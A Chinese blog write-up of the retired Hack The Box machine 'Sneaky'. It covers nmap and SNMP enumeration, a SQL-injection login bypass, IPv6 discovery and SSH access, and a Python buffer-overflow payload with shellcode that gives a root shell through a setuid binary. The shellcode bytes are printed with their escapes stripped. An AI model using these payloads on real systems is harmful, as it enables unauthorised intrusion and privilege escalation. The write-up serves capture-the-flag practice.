HTB-靶机-Sneaky

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.20

sudo nmap -n -sU -A -oN sneaky.nmap 10.10.10.20

nmap扫描结果

开放了80和161端口,先看看80端口应用

没啥有价值的东西,使用dirb跑下目录

发现一个目录地址dev访问得到如下页面

测试了下存在万能密码

万能密码 admin' or 1=1 #

成功之后得到如下信息,访问一下key

有了密钥发现目标靶机没开22端口,此时想到开放了snmp服务,可以通过此服务枚举下目标的ipv6地址,枚举ipv6地址的利用脚本:https://github.com/trickster0/Enyx

上述获取IPv6地址的另一种方式如下:

sudo apt-get install snmp-mibs-downloader
sudo vim /etc/snmp/snmp.conf
进入后注释掉mibs这行,然后执行如下命令获取IPv6地址信息
snmpwalk -v2c -c public 10.10.10.20 1.3.6.1.2.1.4.34.1.3 > snmpinfo.txt

获得了IPv6地址,使用nmap扫描了下,发现开放了22端口,那么使用ipv6地址连接目标靶机

进入目标靶机之后很顺利的获得了user.txt ,使用提权收集信息脚本LinEnum.sh进行收集目标靶机系统的信息,最终得到一个二进制文件存在setuid权限,此靶机又要通过缓冲区溢出进行提权

经过分析测试,得出可以通过如下代码进行提权,将下面代码保存为bmfx.py 然后在目标靶机上执行/usr/local/bin/chal $(python bmfx.py) 即可提权

BUFFER_SIZE=362
SHELL_CODE = "x31xc0x50x68x2fx2fx73"
SHELL_CODE += "x68x68x2fx62x69x6ex89"
SHELL_CODE += "xe3x89xc1x89xc2xb0x0b"
SHELL_CODE += "xcdx80x31xc0x40xcdx80"
NOP_SLED = "x90"*(BUFFER_SIZE-len(SHELL_CODE))
#EIP = "x00xf5xffxbf" #0xbffff500
EIP = "x5cxf7xffxbf" #0xbffff75c
PAYLOAD = NOP_SLED + SHELL_CODE + EIP
print PAYLOAD

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13926416.html